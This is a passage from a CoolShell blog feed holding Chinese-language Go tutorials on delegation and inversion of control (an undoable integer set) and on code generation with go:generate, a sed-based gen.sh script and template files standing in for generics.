data-enlighter-language=\"golang\">button1 := Button{Label{Widget{10, 70}, \"OK\"}}\nbutton2 := NewButton(50, 70, \"Cancel\")\nlistBox := ListBox{Widget{10, 40}, \n    []string{\"AL\", \"AK\", \"AZ\", \"AR\"}, 0}\n\nfor _, painter := range []Painter{label, listBox, button1, button2} {\n    painter.Paint()\n}\n \nfor _, widget := range []interface{}{label, listBox, button1, button2} {\n  widget.(Painter).Paint()\n  if clicker, ok := widget.(Clicker); ok {\n    clicker.Click()\n  }\n  fmt.Println() // print a empty line \n}</pre>\n<p>我们可以看到，我们可以使用接口来多态，也可以使用 泛型的 <code>interface{}</code> 来多态，但是需要有一个类型转换。</p>\n<h4>反转控制</h4>\n<p>我们再来看一个示例，我们有一个存放整数的数据结构，如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type IntSet struct {\n    data map[int]bool\n}\nfunc NewIntSet() IntSet {\n    return IntSet{make(map[int]bool)}\n}\nfunc (set *IntSet) Add(x int) {\n    set.data[x] = true\n}\nfunc (set *IntSet) Delete(x int) {\n    delete(set.data, x)\n}\nfunc (set *IntSet) Contains(x int) bool {\n    return set.data[x]\n}</pre>\n<p>其中实现了 <code>Add()</code> 、<code>Delete()</code> 和 <code>Contains()</code> 三个操作，前两个是写操作，后一个是读操作。</p>\n<h5>实现Undo功能</h5>\n<p>现在我们想实现一个 Undo 的功能。我们可以把把 <code>IntSet</code> 再包装一下变成 <code>UndoableIntSet</code> 代码如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type UndoableIntSet struct { // Poor style\n    IntSet    // Embedding (delegation)\n    functions []func()\n}\n \nfunc NewUndoableIntSet() UndoableIntSet {\n    return UndoableIntSet{NewIntSet(), nil}\n}\n \n\nfunc (set *UndoableIntSet) Add(x int) { // Override\n    if !set.Contains(x) {\n        set.data[x] = true\n        set.functions = append(set.functions, func() { set.Delete(x) })\n    } else {\n        set.functions = append(set.functions, nil)\n    }\n}\n\n\nfunc (set *UndoableIntSet) Delete(x int) { // Override\n    if set.Contains(x) {\n        delete(set.data, x)\n        set.functions = append(set.functions, func() { set.Add(x) })\n    } else {\n        set.functions = append(set.functions, nil)\n    }\n}\n\nfunc (set *UndoableIntSet) Undo() error {\n    if len(set.functions) == 0 {\n        return errors.New(\"No functions to undo\")\n    }\n    index := len(set.functions) - 1\n    if function := set.functions[index]; function != nil {\n        function()\n        set.functions[index] = nil // For garbage collection\n    }\n    set.functions = set.functions[:index]\n    return nil\n}</pre>\n<p>在上面的代码中，我们可以看到</p>\n<ul>\n<li>我们在 <code>UndoableIntSet</code> 中嵌入了<code>IntSet</code> ，然后Override了 它的 <code>Add()</code>和 <code>Delete()</code> 方法。</li>\n<li><code>Contains()</code> 方法没有Override，所以，会被带到 <code>UndoableInSet</code> 中来了。</li>\n<li>在Override的 <code>Add()</code>中，记录 <code>Delete</code> 操作</li>\n<li>在Override的 <code>Delete()</code> 中，记录 <code>Add</code> 操作</li>\n<li>在新加入 <code>Undo()</code> 中进行Undo操作。</li>\n</ul>\n<p>通过这样的方式来为已有的代码扩展新的功能是一个很好的选择，这样，可以在重用原有代码功能和重新新的功能中达到一个平衡。但是，这种方式最大的问题是，Undo操作其实是一种控制逻辑，并不是业务逻辑，所以，在复用 Undo这个功能上是有问题。因为其中加入了大量跟 <code>IntSet</code> 相关的业务逻辑。</p>\n<h5>反转依赖</h5>\n<p>现在我们来看另一种方法：</p>\n<p>我们先声明一种函数接口，表现我们的Undo控制可以接受的函数签名是什么样的：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type Undo []func()</pre>\n<p>有了上面这个协议后，我们的Undo控制逻辑就可以写成如下：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func (undo *Undo) Add(function func()) {\n  *undo = append(*undo, function)\n}\n\nfunc (undo *Undo) Undo() error {\n  functions := *undo\n  if len(functions) == 0 {\n    return errors.New(\"No functions to undo\")\n  }\n  index := len(functions) - 1\n  if function := functions[index]; function != nil {\n    function()\n    functions[index] = nil // For garbage collection\n  }\n  *undo = functions[:index]\n  return nil\n}</pre>\n<p>这里你不必觉得奇怪， <code>Undo</code> 本来就是一个类型，不必是一个结构体，是一个函数数组也没什么问题。</p>\n<p>然后，我们在我们的IntSet里嵌入 Undo，然后，再在 <code>Add()</code> 和 <code>Delete()</code> 里使用上面的方法，就可以完成功能。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"3\">type IntSet struct {\n    data map[int]bool\n    undo Undo\n}\n \nfunc NewIntSet() IntSet {\n    return IntSet{data: make(map[int]bool)}\n}\n\nfunc (set *IntSet) Undo() error {\n    return set.undo.Undo()\n}\n \nfunc (set *IntSet) Contains(x int) bool {\n    return set.data[x]\n}\n\nfunc (set *IntSet) Add(x int) {\n    if !set.Contains(x) {\n        set.data[x] = true\n        set.undo.Add(func() { set.Delete(x) })\n    } else {\n        set.undo.Add(nil)\n    }\n}\n \nfunc (set *IntSet) Delete(x int) {\n    if set.Contains(x) {\n        delete(set.data, x)\n        set.undo.Add(func() { set.Add(x) })\n    } else {\n        set.undo.Add(nil)\n    }\n}</pre>\n<p>这个就是控制反转，不再由 控制逻辑 <code>Undo</code> 来依赖业务逻辑 <code>IntSet</code>，而是由业务逻辑 <code>IntSet</code> 来依赖 <code>Undo</code> 。其依赖的是其实是一个协议，这个协议是一个没有参数的函数数组。我们也可以看到，我们 Undo 的代码就可以复用了。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li><li ><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\" alt=\"Go 编程模式：k8s Visitor 模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_title\">Go 编程模式：k8s Visitor 模式</a></li><li ><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-150x150.png\" alt=\"Go编程模式：Pipeline\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_title\">Go编程模式：Pipeline</a></li><li ><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.generate-150x150.png\" alt=\"Go 编程模式：Go Generation\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_title\">Go 编程模式：Go Generation</a></li><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li><li ><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.options-150x150.png\" alt=\"Go 编程模式：Functional Options\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21146.html\" class=\"wp_rp_title\">Go 编程模式：Functional Options</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/21214.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>15</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Go 编程模式：Go Generation</title>\n\t\t<link>https://coolshell.cn/articles/21179.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/21179.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 25 Dec 2020 09:06:36 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Go 语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[golang]]></category>\n\t\t<category><![CDATA[Template]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=21179</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在本篇文章中，我们将要学习一下Go语言的代码生成的玩法。Go语言代码生成主要还是用来解决编程泛型的问题，泛型编程主要解决的问题是因为静态类型语言有类型，所以，相...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/21179.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><figure id=\"attachment_21254\" aria-describedby=\"caption-attachment-21254\" style=\"width: 296px\" class=\"wp-caption alignright\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-21254 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.generate-296x300.png\" alt=\"\" width=\"296\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/go.generate-296x300.png 296w, https://coolshell.cn/wp-content/uploads/2020/12/go.generate-1011x1024.png 1011w, https://coolshell.cn/wp-content/uploads/2020/12/go.generate-768x778.png 768w, https://coolshell.cn/wp-content/uploads/2020/12/go.generate-1516x1536.png 1516w, https://coolshell.cn/wp-content/uploads/2020/12/go.generate-267x270.png 267w, https://coolshell.cn/wp-content/uploads/2020/12/go.generate.png 1524w\" sizes=\"(max-width: 296px) 100vw, 296px\" /><figcaption id=\"caption-attachment-21254\" class=\"wp-caption-text\">图片来源：<a href=\"https://gophersource.com/\" target=\"_blank\" rel=\"noopener\">GopherSource</a></figcaption></figure></p>\n<p>在本篇文章中，我们将要学习一下Go语言的代码生成的玩法。Go语言代码生成主要还是用来解决编程泛型的问题，泛型编程主要解决的问题是因为静态类型语言有类型，所以，相关的算法或是对数据处理的程序会因为类型不同而需要复制一份，这样导致数据类型和算法功能耦合的问题。泛型编程可以解决这样的问题，就是说，在写代码的时候，不用关心处理数据的类型，只需要关心相当处理逻辑。泛型编程是静态语言中非常非常重要的特征，如果没有泛型，我们很难做到多态，也很难完成抽象，会导致我们的代码冗余量很大。</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第6 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go 编程模式：Go Generation</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">&laquo; <a href=\"https://coolshell.cn/articles/21164.html\" rel=\"prev\" title=\"Go编程模式：Map-Reduce\">上一篇文章</a></span><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/17929.html\" rel=\"next\" title=\"Go编程模式：修饰器\">下一篇文章</a> &raquo;</span></nav></section>\n<h4>现实中的类比</h4>\n<p>举个现实当中的例子，用螺丝刀来做具比方，螺丝刀本来就是一个拧螺丝的动作，但是因为螺丝的类型太多，有平口的，有十字口的，有六角的……螺丝还有大小尺寸，导致我们的螺丝刀为了要适配各种千奇百怪的螺丝类型（样式和尺寸），导致要做出各种各样的螺丝刀。</p>\n<table>\n<tbody>\n<tr>\n<td><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-21180 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/type01-300x225.png\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/type01-300x225.png 300w, https://coolshell.cn/wp-content/uploads/2020/12/type01-360x270.png 360w, https://coolshell.cn/wp-content/uploads/2020/12/type01.png 750w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></td>\n<td><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-21181 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/type02-300x225.png\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/type02-300x225.png 300w, https://coolshell.cn/wp-content/uploads/2020/12/type02-768x576.png 768w, https://coolshell.cn/wp-content/uploads/2020/12/type02-360x270.png 360w, https://coolshell.cn/wp-content/uploads/2020/12/type02.png 802w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></td>\n</tr>\n</tbody>\n</table>\n<p>而真正的抽象是螺丝刀不应该关心螺丝的类型，只要关注好自己的功能是否完备，并让自己可以适配于不同类型的螺丝，如下所示，这就是所谓的泛型编程要解决的实际问题。</p>\n<p><span id=\"more-21179\"></span></p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"2\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-21182 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/type03-300x226.png\" alt=\"\" width=\"300\" height=\"226\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/type03-300x226.png 300w, https://coolshell.cn/wp-content/uploads/2020/12/type03-359x270.png 359w, https://coolshell.cn/wp-content/uploads/2020/12/type03.png 750w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></td>\n</tr>\n</tbody>\n</table>\n<h4>Go语方的类型检查</h4>\n<p>因为Go语言目前并不支持真正的泛型，所以，只能用 <code>interface{}</code> 这样的类似于 <code>void*</code> 这种过度泛型来玩这就导致了我们在实际过程中就需要进行类型检查。Go语言的类型检查有两种技术，一种是 Type Assert，一种是Reflection。</p>\n<h5>Type Assert</h5>\n<p>这种技术，一般是对某个变量进行 <code>.(type)</code>的转型操作，其会返回两个值， <code>variable, error</code>，第一个返回值是被转换好的类型，第二个是如果不能转换类型，则会报错。</p>\n<p>比如下面的示例，我们有一个通用类型的容器，可以进行 <code>Put(val)</code>和 <code>Get()</code>，注意，其使用了 <code>interface{}</code>作泛型</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">//Container is a generic container, accepting anything.\ntype Container []interface{}\n\n//Put adds an element to the container.\nfunc (c *Container) Put(elem interface{}) {\n    *c = append(*c, elem)\n}\n//Get gets an element from the container.\nfunc (c *Container) Get() interface{} {\n    elem := (*c)[0]\n    *c = (*c)[1:]\n    return elem\n}</pre>\n<p>在使用中，我们可以这样使用</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">intContainer := &amp;Container{}\nintContainer.Put(7)\nintContainer.Put(42)</pre>\n<p>但是，在把数据取出来时，因为类型是 <code>interface{}</code> ，所以，你还要做一个转型，如果转型成功能才能进行后续操作（因为 <code>interface{}</code>太泛了，泛到什么类型都可以放）下在是一个Type Assert的示例：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"2\">// assert that the actual type is int\nelem, ok := intContainer.Get().(int)\nif !ok {\n    fmt.Println(\"Unable to read an int from intContainer\")\n}\n\nfmt.Printf(\"assertExample: %d (%T)\\n\", elem, elem)\n</pre>\n<h5>Reflection</h5>\n<p>对于反射，我们需要把上面的代码修改如下：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type Container struct {\n    s reflect.Value\n}\nfunc NewContainer(t reflect.Type, size int) *Container {\n    if size &lt;=0  { size=64 }\n    return &amp;Container{\n        s: reflect.MakeSlice(reflect.SliceOf(t), 0, size), \n    }\n}\nfunc (c *Container) Put(val interface{})  error {\n    if reflect.ValueOf(val).Type() != c.s.Type().Elem() {\n        return fmt.Errorf(“Put: cannot put a %T into a slice of %s\", \n            val, c.s.Type().Elem()))\n    }\n    c.s = reflect.Append(c.s, reflect.ValueOf(val))\n    return nil\n}\nfunc (c *Container) Get(refval interface{}) error {\n    if reflect.ValueOf(refval).Kind() != reflect.Ptr ||\n        reflect.ValueOf(refval).Elem().Type() != c.s.Type().Elem() {\n        return fmt.Errorf(\"Get: needs *%s but got %T\", c.s.Type().Elem(), refval)\n    }\n    reflect.ValueOf(refval).Elem().Set( c.s.Index(0) )\n    c.s = c.s.Slice(1, c.s.Len())\n    return nil\n}</pre>\n<p>上面的代码并不难读，这是完全使用 reflection的玩法，其中</p>\n<ul>\n<li>在 <code>NewContainer()</code>会根据参数的类型初始化一个Slice</li>\n<li>在 <code>Put()</code>时候，会检查 <code>val</code> 是否和Slice的类型一致。</li>\n<li>在 <code>Get()</code>时，我们需要用一个入参的方式，因为我们没有办法返回 <code>reflect.Value</code> 或是 <code>interface{}</code>，不然还要做Type Assert</li>\n<li>但是有类型检查，所以，必然会有检查不对的道理 ，因此，需要返回 <code>error</code></li>\n</ul>\n<p>于是在使用上面这段代码的时候，会是下面这个样子：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">f1 := 3.1415926\nf2 := 1.41421356237\n\nc := NewMyContainer(reflect.TypeOf(f1), 16)\n\nif err := c.Put(f1); err != nil {\n  panic(err)\n}\nif err := c.Put(f2); err != nil {\n  panic(err)\n}\n\ng := 0.0\n\nif err := c.Get(&amp;g); err != nil {\n  panic(err)\n}\nfmt.Printf(\"%v (%T)\\n\", g, g) //3.1415926 (float64)\nfmt.Println(c.s.Index(0)) //1.4142135623</pre>\n<p>我们可以看到，Type Assert是不用了，但是用反射写出来的代码还是有点复杂的。那么有没有什么好的方法？</p>\n<h4>它山之石</h4>\n<p>对于泛型编程最牛的语言 C++ 来说，这类的问题都是使用 Template来解决的。</p>\n<table style=\"border: 0px;\">\n<tbody>\n<tr style=\"background: none;\">\n<td style=\"border: 0px;\">\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">//用&lt;class T&gt;来描述泛型\ntemplate &lt;class T&gt; \nT GetMax (T a, T b)  { \n    T result; \n    result = (a&gt;b)? a : b; \n    return (result); \n} \n</pre>\n</td>\n<td style=\"border: 0px;\">\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\">int i=5, j=6, k; \n//生成int类型的函数\nk=GetMax&lt;int&gt;(i,j);\n \nlong l=10, m=5, n; \n//生成long类型的函数\nn=GetMax&lt;long&gt;(l,m); \n</pre>\n</td>\n</tr>\n</tbody>\n</table>\n<p>C++的编译器会在编译时分析代码，根据不同的变量类型来自动化的生成相关类型的函数或类。C++叫模板的具体化。</p>\n<p>这个技术是编译时的问题，所以，不需要我们在运行时进行任何的运行的类型识别，我们的程序也会变得比较的干净。</p>\n<p>那么，我们是否可以在Go中使用C++的这种技术呢？答案是肯定的，只是Go的编译器不帮你干，你需要自己动手。</p>\n<h4>Go Generator</h4>\n<p>要玩 Go的代码生成，你需要三件事：</p>\n<ol>\n<li>一个函数模板，其中设置好相应的占位符。</li>\n<li>一个脚本，用于按规则来替换文本并生成新的代码。</li>\n<li>一行注释代码。</li>\n</ol>\n<h5>函数模板</h5>\n<p>我们把我们之前的示例改成模板。取名为 <code>container.tmp.go</code> 放在 <code>./template/</code>下</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">package PACKAGE_NAME\ntype GENERIC_NAMEContainer struct {\n    s []GENERIC_TYPE\n}\nfunc NewGENERIC_NAMEContainer() *GENERIC_NAMEContainer {\n    return &amp;GENERIC_NAMEContainer{s: []GENERIC_TYPE{}}\n}\nfunc (c *GENERIC_NAMEContainer) Put(val GENERIC_TYPE) {\n    c.s = append(c.s, val)\n}\nfunc (c *GENERIC_NAMEContainer) Get() GENERIC_TYPE {\n    r := c.s[0]\n    c.s = c.s[1:]\n    return r\n}</pre>\n<p>我们可以看到函数模板中我们有如下的占位符：</p>\n<ul>\n<li><code>PACKAGE_NAME</code> &#8211; 包名</li>\n<li><code>GENERIC_NAME</code> &#8211; 名字</li>\n<li><code>GENERIC_TYPE</code> &#8211; 实际的类型</li>\n</ul>\n<p>其它的代码都是一样的。</p>\n<h5>函数生成脚本</h5>\n<p>然后，我们有一个叫<code>gen.sh</code>的生成脚本，如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-title=\"gen.sh\">#!/bin/bash\n\nset -e\n\nSRC_FILE=${1}\nPACKAGE=${2}\nTYPE=${3}\nDES=${4}\n#uppcase the first char\nPREFIX=\"$(tr '[:lower:]' '[:upper:]' &lt;&lt;&lt; ${TYPE:0:1})${TYPE:1}\"\n\nDES_FILE=$(echo ${TYPE}| tr '[:upper:]' '[:lower:]')_${DES}.go\n\nsed 's/PACKAGE_NAME/'\"${PACKAGE}\"'/g' ${SRC_FILE} | \\\n    sed 's/GENERIC_TYPE/'\"${TYPE}\"'/g' | \\\n    sed 's/GENERIC_NAME/'\"${PREFIX}\"'/g' &gt; ${DES_FILE}</pre>\n<p>其需要4个参数：</p>\n<ul>\n<li>模板源文件</li>\n<li>包名</li>\n<li>实际需要具体化的类型</li>\n<li>用于构造目标文件名的后缀</li>\n</ul>\n<p>然后其会用 <code>sed</code> 命令去替换我们的上面的函数模板，并生成到目标文件中。（关于sed命令请参看本站的《<a title=\"sed 简明教程\" href=\"https://coolshell.cn/articles/9104.html\" target=\"_blank\" rel=\"noopener\">sed 简明教程</a>》）</p>\n<h5>生成代码</h5>\n<p>接下来，我们只需要在代码中打一个特殊的注释：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"1,10\">//go:generate ./gen.sh ./template/container.tmp.go gen uint32 container\nfunc generateUint32Example() {\n    var u uint32 = 42\n    c := NewUint32Container()\n    c.Put(u)\n    v := c.Get()\n    fmt.Printf(\"generateExample: %d (%T)\\n\", v, v)\n}\n\n//go:generate ./gen.sh ./template/container.tmp.go gen string container\nfunc generateStringExample() {\n    var s string = \"Hello\"\n    c := NewStringContainer()\n    c.Put(s)\n    v := c.Get()\n    fmt.Printf(\"generateExample: %s (%T)\\n\", v, v)\n}</pre>\n<p>其中，</p>\n<ul>\n<li>第一个注释是生成包名为 <code>gen</code> 类型为 <code>uint32</code> 目标文件名以 <code>container</code> 为后缀</li>\n<li>第二个注释是生成包名为 <code>gen</code> 类型为 <code>string</code> 目标文件名以 <code>container</code> 为后缀</li>\n</ul>\n<p>然后，在工程目录中直接执行 <code> go generate</code> 命令，就会生成如下两份代码，</p>\n<p>一份文件名为<code>uint32_container.go</code></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-title=\"uint32_container.go\">package gen\n\ntype Uint32Container struct {\n    s []uint32\n}\nfunc NewUint32Container() *Uint32Container {\n    return &amp;Uint32Container{s: []uint32{}}\n}\nfunc (c *Uint32Container) Put(val uint32) {\n    c.s = append(c.s, val)\n}\nfunc (c *Uint32Container) Get() uint32 {\n    r := c.s[0]\n    c.s = c.s[1:]\n    return r\n}</pre>\n<p>另一份的文件名为 <code>string_container.go</code></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-title=\"string_container.go\">package gen\n\ntype StringContainer struct {\n    s []string\n}\nfunc NewStringContainer() *StringContainer {\n    return &amp;StringContainer{s: []string{}}\n}\nfunc (c *StringContainer) Put(val string) {\n    c.s = append(c.s, val)\n}\nfunc (c *StringContainer) Get() string {\n    r := c.s[0]\n    c.s = c.s[1:]\n    return r\n}\n</pre>\n<p>这两份代码可以让我们的代码完全编译通过，所付出的代价就是需要多执行一步 <code>go generate</code> 命令。</p>\n<h4>新版Filter</h4>\n<p>现在我们再回头看看我们之前《<a href=\"https://coolshell.cn/articles/21164.html\" target=\"_blank\" rel=\"noopener\">Go编程模式：Map-Reduce</a>》中的那些个用反射整出来的例子，有了这样的技术，我就不必在代码里用那些晦涩难懂的反射来做运行时的类型检查了。我们可以写下很干净的代码，让编译器在编译时检查类型对不对。下面是一个Fitler的模板文件 <code>filter.tmp.go</code>：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">package PACKAGE_NAME\n\ntype GENERIC_NAMEList []GENERIC_TYPE\n\ntype GENERIC_NAMEToBool func(*GENERIC_TYPE) bool\n\nfunc (al GENERIC_NAMEList) Filter(f GENERIC_NAMEToBool) GENERIC_NAMEList {\n    var ret GENERIC_NAMEList\n    for _, a := range al {\n        if f(&amp;a) {\n            ret = append(ret, a)\n        }\n    }\n    return ret\n}\n</pre>\n<p>于是我们可在需要使用这个的地方，加上相关的 go generate 的注释</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-highlight=\"8\">type Employee struct {\n  Name     string\n  Age      int\n  Vacation int\n  Salary   int\n}\n\n//go:generate ./gen.sh ./template/filter.tmp.go gen Employee filter\nfunc filterEmployeeExample() {\n\n  var list = EmployeeList{\n    {\"Hao\", 44, 0, 8000},\n    {\"Bob\", 34, 10, 5000},\n    {\"Alice\", 23, 5, 9000},\n    {\"Jack\", 26, 0, 4000},\n    {\"Tom\", 48, 9, 7500},\n  }\n\n  var filter EmployeeList\n  filter = list.Filter(func(e *Employee) bool {\n    return e.Age &gt; 40\n  })\n\n  fmt.Println(\"----- Employee.Age &gt; 40 ------\")\n  for _, e := range filter {\n    fmt.Println(e)\n  }\n\n  filter = list.Filter(func(e *Employee) bool {\n    return e.Salary &lt;= 5000\n  })\n\n  fmt.Println(\"----- Employee.Salary &lt;= 5000 ------\")\n  for _, e := range filter {\n    fmt.Println(e)\n  }\n}</pre>\n<h4>第三方工具</h4>\n<p>我们并不需要自己手写 <code>gen.sh</code> 这样的工具类，已经有很多第三方的已经写好的可以使用。下面是一个列表：</p>\n<ul>\n<li>Genny &#8211;  <a href=\"https://github.com/cheekybits/genny\">https://github.com/cheekybits/genny</a></li>\n<li>Generic &#8211; <a href=\"https://github.com/taylorchu/generic\">https://github.com/taylorchu/generic</a></li>\n<li>GenGen &#8211; <a href=\"https://github.com/joeshaw/gengen\">https://github.com/joeshaw/gengen</a></li>\n<li>Gen &#8211; <a href=\"https://github.com/clipperhouse/gen\">https://github.com/clipperhouse/gen</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> 